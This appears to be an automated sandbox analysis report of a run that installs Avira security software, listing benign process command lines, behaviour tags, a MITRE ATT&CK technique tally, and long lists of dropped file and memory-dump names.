C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=3364,i,3550500292188309845,17334177614551803826,262144 --field-trial-handle=1992,i,5803651506865758907,17451081258258273494,262144 --variations-seed-version=20260910-010031.433000-production --mojo-platform-channel-handle=5636 /prefetch:102⤵
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵
-
C:\Program Files (x86)\Avira\Security\Avira.Spotlight.Service.Worker.exe"C:\Program Files (x86)\Avira\Security\Avira.Spotlight.Service.Worker.exe" HandleServiceControlManagerEvent 70001⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
-
C:\Program Files (x86)\Avira\Security\Avira.Spotlight.Service.Worker.exe"C:\Program Files (x86)\Avira\Security\Avira.Spotlight.Service.Worker.exe" HandleServiceControlManagerEvent 70001⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
-
C:\Program Files (x86)\Avira\Security\Avira.Spotlight.Service.Worker.exe"C:\Program Files (x86)\Avira\Security\Avira.Spotlight.Service.Worker.exe" HandleServiceControlManagerEvent 70001⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
-
C:\Program Files (x86)\Avira\Security\Avira.Spotlight.Service.Worker.exe"C:\Program Files (x86)\Avira\Security\Avira.Spotlight.Service.Worker.exe" HandleServiceControlManagerEvent 70001⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
-
C:\Program Files (x86)\Avira\Security\Avira.Spotlight.Service.Worker.exe"C:\Program Files (x86)\Avira\Security\Avira.Spotlight.Service.Worker.exe" HandleServiceControlManagerEvent 70001⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
-
C:\Program Files (x86)\Avira\Security\Avira.Spotlight.Service.Worker.exe"C:\Program Files (x86)\Avira\Security\Avira.Spotlight.Service.Worker.exe" HandleServiceControlManagerEvent 70001⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Component Object Model Hijacking
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Component Object Model Hijacking
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Modify Registry
5Subvert Trust Controls
2Install Root Certificate
2Virtualization/Sandbox Evasion
1Discovery
Browser Information Discovery
1Peripheral Device Discovery
2Query Registry
7Remote System Discovery
1Software Discovery
1Security Software Discovery
1System Information Discovery
7System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1System Time Discovery
1Virtualization/Sandbox Evasion
1Replay Monitor
Loading Replay Monitor...
Downloads
unins000.exe
Antivirus.ContextMenu.dll
SharpShell.dll
System.Runtime.CompilerServices.Unsafe.dll
System.Threading.Tasks.Extensions.dll
Antivirus.ContextMenu.resources.dll
Antivirus.ContextMenu.resources.dll
Antivirus.ContextMenu.resources.dll
Antivirus.ContextMenu.resources.dll
Antivirus.ContextMenu.resources.dll
Antivirus.ContextMenu.resources.dll
Antivirus.ContextMenu.resources.dll
Antivirus.ContextMenu.resources.dll
Antivirus.ContextMenu.resources.dll
Antivirus.ContextMenu.resources.dll
Antivirus.ContextMenu.resources.dll
Antivirus.ContextMenu.resources.dll
Avira.Spotlight.UI.Application.exe
Service.Plugin.Antivirus.Legacy.dll
unins000.exe
Avira.OptimizerHostClientLibrary.dll
Avira.SystemSpeedup.Core.Common.Starter.exe
Avira.SystemSpeedup.Maintenance.exe
unins000.exe
RobloxStudioInstaller.exe
RobloxPlayerBeta.dll
F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
settings.dat
3a940462-fe3b-426a-9356-9aaffd029dfe.tmp
52a9f04e-d882-4013-b02e-b14803dc2036.tmp
89f3fed7-5c79-4770-aab5-c1fedd5453bc.tmp
f_000005
f_000007
f_000009
f_000015
f_000017
f_000019
f_00001a
f_000021
f_000027
f_00009c
f_0000ed
f_000122
f_000159
f_00015f
f_000167
f_000168
f_000169
f_00017e
f_000184
714f9d72f72736a2_0
f70d97644adf473a_0
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
messages.json
craw_background.js
CURRENT
MANIFEST-000001
LOG.old
LOG.old~RFe67012b.TMP
000003.log
LOG
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
SCT Auditing Pending Reports
TransportSecurity
TransportSecurity
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Secure Preferences
Secure Preferences
Secure Preferences
the-real-index
the-real-index
the-real-index
the-real-index~RFe5f6981.TMP
index
index.txt
index.txt
index.txt
index.txt
index.txt
index.txt
index.txt~RFe5ed177.TMP
index.txt
index.txt~RFe661e1e.TMP
the-real-index
the-real-index
the-real-index
7913f83c39f37ca2_0
96ee453a9a4fc3c6_0
the-real-index
the-real-index
the-real-index~RFe5b55ec.TMP
data_0
data_1
data_2
data_3
MANIFEST-000001
Network Persistent State
Network Persistent State
the-real-index
the-real-index~RFe6759da.TMP
index.txt
index.txt
index.txt
index.txt~RFe670784.TMP
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
settings.json
avira_system_speedup.exe
avira_spotlight_setup_pfsws.exe
VpnInstaller.exe
launcher.exe
__PSScriptPolicyTest_2rqf3bny.azq.ps1
_setup64.tmp
Avira.Optimizer.Common.Native.Library.dll
Avira_Optimizer_Host.exe
System.dll
nsis7z.dll
LICENSE.electron.txt
LICENSES.chromium.html
chrome_100_percent.pak
chrome_200_percent.pak
d3dcompiler_47.dll
ffmpeg.dll
icudtl.dat
libEGL.dll
libGLESv2.dll
af.pak
am.pak
ar.pak
bg.pak
bn.pak
ca.pak
cs.pak
da.pak
de.pak
el.pak
en-GB.pak
en-US.pak
es-419.pak
es.pak
et.pak
fa.pak
fi.pak
fil.pak
fr.pak
gu.pak
he.pak
hi.pak
hr.pak
hu.pak
id.pak
it.pak
ja.pak
kn.pak
ko.pak
lt.pak
lv.pak
ml.pak
mr.pak
ms.pak
nb.pak
nl.pak
pl.pak
pt-BR.pak
pt-PT.pak
ro.pak
ru.pak
sk.pak
sl.pak
sr.pak
sv.pak
sw.pak
ta.pak
te.pak
th.pak
tr.pak
uk.pak
ur.pak
vi.pak
zh-CN.pak
zh-TW.pak
resources.pak
app.asar
elevate.exe
snapshot_blob.bin
v8_context_snapshot.bin
vk_swiftshader.dll
vk_swiftshader_icd.json
vulkan-1.dll
StdUtils.dll
messages.json
1-logo.png
6-icon-get-started.png
index.js
content-inject.js
iframe_content.js
messages.json
messages.json
content.css
search.css
KievitWebPro-Bold.woff
KievitWebPro-Light.woff
KievitWebPro.woff
trackerNotification.css
ExtPermNotification.js
common.js
content.js
jquery.js
landingPage.js
external-splashoffer.js
contentScript.js
fonts.css
debugStandDownPage.css
debugStandDownPage.js.LICENSE.txt
nativePopup.css
aefb17a4-05c2-414e-b3de-f60c3821e874.cmd
5d696d521de238c3.customDestinations-ms
5d696d521de238c3.customDestinations-ms
5d696d521de238c3.customDestinations-ms
desktop.ini
Unconfirmed 345495.crdownload
memory/968-2-0x0000000007E70000-0x0000000007EB0000-memory.dmp
memory/1984-47-0x000002975B850000-0x000002975BA3B000-memory.dmp
memory/2420-5978-0x000001C64F130000-0x000001C64F2D4000-memory.dmp
memory/2420-4894-0x000001C659060000-0x000001C659061000-memory.dmp
memory/2420-8135-0x000001C64F130000-0x000001C64F2D4000-memory.dmp
memory/2420-4893-0x000001C659060000-0x000001C659061000-memory.dmp
memory/2420-4897-0x000001C659060000-0x000001C659061000-memory.dmp
memory/2420-4896-0x000001C659060000-0x000001C659061000-memory.dmp
memory/2420-4895-0x000001C659060000-0x000001C659061000-memory.dmp
memory/2420-7189-0x000001C64F130000-0x000001C64F2D4000-memory.dmp
memory/2420-4891-0x000001C659060000-0x000001C659061000-memory.dmp
memory/2420-7590-0x000001C64F130000-0x000001C64F2D4000-memory.dmp
memory/2420-4889-0x000001C659060000-0x000001C659061000-memory.dmp
memory/2420-4995-0x000001C64F130000-0x000001C64F2D4000-memory.dmp
memory/2420-5267-0x000001C64F130000-0x000001C64F2D4000-memory.dmp
memory/2420-5209-0x000001C64F130000-0x000001C64F2D4000-memory.dmp
memory/2420-7728-0x000001C64F130000-0x000001C64F2D4000-memory.dmp
memory/2420-7198-0x000001C64F130000-0x000001C64F2D4000-memory.dmp
memory/2536-7191-0x00000000003A0000-0x0000000000726000-memory.dmp
memory/2536-7489-0x00000000003A0000-0x0000000000726000-memory.dmp
memory/2536-6626-0x00000000003A0000-0x0000000000726000-memory.dmp
memory/2536-7565-0x00000000003A0000-0x0000000000726000-memory.dmp
memory/3148-4013-0x000001F323780000-0x000001F323924000-memory.dmp
memory/3260-8151-0x0000000000400000-0x00000000006E1000-memory.dmp
memory/3900-8120-0x0000000000400000-0x00000000004D8000-memory.dmp
memory/4252-8098-0x00000000053D0000-0x000000000542E000-memory.dmp
memory/4252-8091-0x00000000008B0000-0x0000000000904000-memory.dmp
memory/4252-8096-0x0000000005350000-0x0000000005364000-memory.dmp
memory/4296-3982-0x00000229874C0000-0x00000229874E2000-memory.dmp
memory/4296-3987-0x000002299F690000-0x000002299F6AE000-memory.dmp
memory/4296-3988-0x000002299F6B0000-0x000002299F762000-memory.dmp
memory/4296-3989-0x000002299F770000-0x000002299F77A000-memory.dmp
memory/4424-8080-0x0000000005AC0000-0x0000000005B34000-memory.dmp
memory/4424-8079-0x00000000059B0000-0x00000000059D8000-memory.dmp
memory/4424-8078-0x0000000000F20000-0x0000000000F32000-memory.dmp
memory/4780-102-0x000001D55D670000-0x000001D55D671000-memory.dmp
memory/4780-99-0x000001D55D670000-0x000001D55D671000-memory.dmp
memory/4780-100-0x000001D55D670000-0x000001D55D671000-memory.dmp
memory/4780-95-0x000001D55D670000-0x000001D55D671000-memory.dmp
memory/4780-93-0x000001D55D670000-0x000001D55D671000-memory.dmp
memory/4780-104-0x000001D55D670000-0x000001D55D671000-memory.dmp
memory/4780-101-0x000001D55D670000-0x000001D55D671000-memory.dmp
memory/4780-103-0x000001D55D670000-0x000001D55D671000-memory.dmp
memory/5084-5240-0x00000000058D0000-0x00000000058E4000-memory.dmp
memory/5084-5261-0x0000000009FC0000-0x0000000009FFE000-memory.dmp
memory/5084-5244-0x0000000005990000-0x0000000005998000-memory.dmp
memory/5084-5243-0x0000000005950000-0x0000000005962000-memory.dmp
memory/5084-5246-0x00000000073B0000-0x0000000007400000-memory.dmp
memory/5084-5242-0x0000000005920000-0x0000000005942000-memory.dmp
memory/5084-5219-0x0000000000520000-0x00000000006B2000-memory.dmp
memory/5084-5220-0x0000000005190000-0x0000000005200000-memory.dmp
memory/5084-5241-0x0000000005870000-0x000000000587A000-memory.dmp
memory/5084-5221-0x0000000005240000-0x000000000526C000-memory.dmp
memory/5084-5247-0x0000000007400000-0x000000000743C000-memory.dmp
memory/5084-5222-0x0000000005650000-0x00000000056BE000-memory.dmp
memory/5084-5249-0x0000000009DD0000-0x0000000009DD8000-memory.dmp
memory/5084-5245-0x0000000005AA0000-0x0000000005AAC000-memory.dmp
memory/5084-5262-0x0000000009FA0000-0x0000000009FAE000-memory.dmp
memory/5084-5223-0x00000000055E0000-0x0000000005640000-memory.dmp
memory/5084-5224-0x00000000052B0000-0x00000000052C6000-memory.dmp
memory/5084-5231-0x0000000005890000-0x00000000058C6000-memory.dmp
memory/5084-5264-0x000000000B570000-0x000000000B580000-memory.dmp
memory/5084-5225-0x00000000056D0000-0x00000000056DC000-memory.dmp
memory/5084-5230-0x0000000005820000-0x000000000584C000-memory.dmp
memory/5084-5227-0x0000000005710000-0x0000000005740000-memory.dmp
memory/5084-5266-0x000000000B980000-0x000000000B9E6000-memory.dmp
memory/5084-5228-0x0000000005790000-0x00000000057D4000-memory.dmp
memory/5084-5265-0x00000000076C0000-0x0000000007752000-memory.dmp
memory/5084-5229-0x0000000005DA0000-0x000000000635A000-memory.dmp
memory/5296-3198-0x00000195E0030000-0x00000195E01D4000-memory.dmp
memory/5296-3197-0x00000195E0030000-0x00000195E01D4000-memory.dmp
memory/5296-3174-0x00000195E87D0000-0x00000195E87D1000-memory.dmp
memory/5296-3173-0x00000195E87D0000-0x00000195E87D1000-memory.dmp
memory/5296-3175-0x00000195E87D0000-0x00000195E87D1000-memory.dmp
memory/5296-3172-0x00000195E87D0000-0x00000195E87D1000-memory.dmp
memory/5296-3633-0x00000195E0030000-0x00000195E01D4000-memory.dmp
memory/5296-3699-0x00000195E0030000-0x00000195E01D4000-memory.dmp
memory/5296-3171-0x00000195E87D0000-0x00000195E87D1000-memory.dmp
memory/5296-4039-0x00000195E0030000-0x00000195E01D4000-memory.dmp
memory/5296-4029-0x00000195E0030000-0x00000195E01D4000-memory.dmp
memory/5296-3351-0x00000195E0030000-0x00000195E01D4000-memory.dmp
memory/5296-3169-0x00000195E87D0000-0x00000195E87D1000-memory.dmp
memory/5296-3167-0x00000195E87D0000-0x00000195E87D1000-memory.dmp
memory/5296-3196-0x00000195E0030000-0x00000195E01D4000-memory.dmp
memory/5296-3995-0x00000195E0030000-0x00000195E01D4000-memory.dmp
memory/5296-4025-0x00000195E0030000-0x00000195E01D4000-memory.dmp
memory/5296-3199-0x00000195E0030000-0x00000195E01D4000-memory.dmp
memory/5296-3997-0x00000195E0030000-0x00000195E01D4000-memory.dmp
memory/5296-4005-0x00000195E0030000-0x00000195E01D4000-memory.dmp
memory/5948-8139-0x0000000007E60000-0x0000000007F82000-memory.dmp
memory/5948-7735-0x0000000004C00000-0x00000000050A6000-memory.dmp
memory/5948-7739-0x0000000007E60000-0x0000000007F82000-memory.dmp
memory/5948-8137-0x0000000000400000-0x0000000000728000-memory.dmp
memory/5948-8138-0x0000000004C00000-0x00000000050A6000-memory.dmp
memory/6056-5226-0x00000000002E0000-0x0000000000310000-memory.dmp
memory/6068-6625-0x0000000000EE0000-0x0000000000FDA000-memory.dmp
memory/6068-5344-0x0000000000EE0000-0x0000000000FDA000-memory.dmp
memory/6068-7566-0x0000000000EE0000-0x0000000000FDA000-memory.dmp
memory/6312-8127-0x0000000006080000-0x000000000611A000-memory.dmp
memory/6312-8118-0x0000000005F10000-0x0000000005F3E000-memory.dmp
memory/6312-8160-0x0000000007B60000-0x0000000007B6C000-memory.dmp
memory/6312-8104-0x0000000000F70000-0x0000000000FCA000-memory.dmp
memory/6312-8140-0x0000000006030000-0x000000000603C000-memory.dmp
memory/6312-8154-0x0000000007710000-0x000000000774C000-memory.dmp
memory/6616-7697-0x0000000000FB0000-0x0000000000FE0000-memory.dmp
memory/6776-7601-0x0000000006BF0000-0x0000000006C0A000-memory.dmp
memory/6776-7602-0x0000000006E90000-0x0000000006EE6000-memory.dmp
memory/7208-8131-0x0000000005190000-0x000000000519E000-memory.dmp
memory/7208-8132-0x00000000051F0000-0x00000000051FE000-memory.dmp
memory/7208-8149-0x0000000005310000-0x000000000535C000-memory.dmp
memory/7208-8148-0x00000000053F0000-0x000000000574B000-memory.dmp
memory/7208-8117-0x0000000004E50000-0x0000000004E72000-memory.dmp
memory/7208-8155-0x0000000006860000-0x0000000006882000-memory.dmp
memory/7208-8164-0x0000000006DC0000-0x0000000006E18000-memory.dmp
memory/7208-8122-0x00000000050D0000-0x00000000050E8000-memory.dmp
memory/7208-8123-0x00000000050C0000-0x00000000050C8000-memory.dmp
memory/7208-8124-0x00000000051A0000-0x00000000051CA000-memory.dmp
memory/7208-8163-0x0000000006CE0000-0x0000000006CEA000-memory.dmp
memory/7208-8129-0x0000000005180000-0x000000000518A000-memory.dmp
memory/7208-8147-0x0000000005380000-0x00000000053E2000-memory.dmp
memory/7344-8084-0x0000029843100000-0x000002984314A000-memory.dmp
memory/7344-8081-0x0000029841280000-0x0000029841290000-memory.dmp
memory/7344-8083-0x00000298431B0000-0x0000029843224000-memory.dmp
memory/7344-8082-0x0000029841750000-0x0000029841778000-memory.dmp
memory/7364-7531-0x0000000005C50000-0x0000000005D02000-memory.dmp
memory/7364-7527-0x0000000005870000-0x0000000005882000-memory.dmp
memory/7364-7555-0x0000000005D90000-0x0000000005DE8000-memory.dmp
memory/7364-7543-0x0000000005C20000-0x0000000005C32000-memory.dmp
memory/7364-7559-0x0000000005D40000-0x0000000005D4A000-memory.dmp
memory/7364-7560-0x0000000005D70000-0x0000000005D84000-memory.dmp
memory/7364-7562-0x00000000063A0000-0x00000000063C2000-memory.dmp
memory/7364-7535-0x0000000005BE0000-0x0000000005BFA000-memory.dmp
memory/7364-7564-0x0000000006510000-0x000000000686B000-memory.dmp
memory/7364-7534-0x0000000005E80000-0x0000000005FE8000-memory.dmp
memory/7364-7259-0x0000000000050000-0x000000000009C000-memory.dmp
memory/7364-7588-0x0000000006F40000-0x0000000007558000-memory.dmp
memory/7364-7411-0x0000000005000000-0x00000000050BC000-memory.dmp
memory/7364-7412-0x00000000050C0000-0x0000000005132000-memory.dmp
memory/7364-7530-0x0000000005890000-0x000000000589C000-memory.dmp
memory/7364-7529-0x0000000005860000-0x000000000586C000-memory.dmp
memory/7364-7432-0x00000000051E0000-0x00000000051EA000-memory.dmp
memory/7364-7431-0x0000000005320000-0x00000000053B6000-memory.dmp
memory/7364-7497-0x0000000005B40000-0x0000000005B8A000-memory.dmp
memory/7364-7496-0x0000000005AE0000-0x0000000005AEC000-memory.dmp
memory/7364-7460-0x0000000005A60000-0x0000000005A6A000-memory.dmp
memory/7364-7424-0x0000000004F70000-0x0000000004F98000-memory.dmp
memory/7364-7425-0x0000000004FA0000-0x0000000004FB6000-memory.dmp
memory/7364-7426-0x0000000004FC0000-0x0000000004FD0000-memory.dmp
memory/7364-7427-0x0000000004FD0000-0x0000000004FDE000-memory.dmp
memory/7364-7428-0x0000000005140000-0x0000000005156000-memory.dmp
memory/7364-7445-0x0000000005A30000-0x0000000005A3A000-memory.dmp
memory/7364-7446-0x0000000005A80000-0x0000000005AB2000-memory.dmp
memory/7364-7444-0x0000000005A20000-0x0000000005A2A000-memory.dmp
memory/7364-7429-0x00000000051A0000-0x00000000051D6000-memory.dmp
memory/7364-7430-0x0000000005160000-0x000000000516E000-memory.dmp
memory/7708-8156-0x0000000000400000-0x000000000071B000-memory.dmp
memory/7724-8136-0x0000000000400000-0x00000000004ED000-memory.dmp
memory/7724-7726-0x0000000000400000-0x00000000004ED000-memory.dmp
memory/8132-7528-0x0000000000A00000-0x0000000000A42000-memory.dmp
memory/8132-7599-0x0000000002FD0000-0x0000000002FD8000-memory.dmp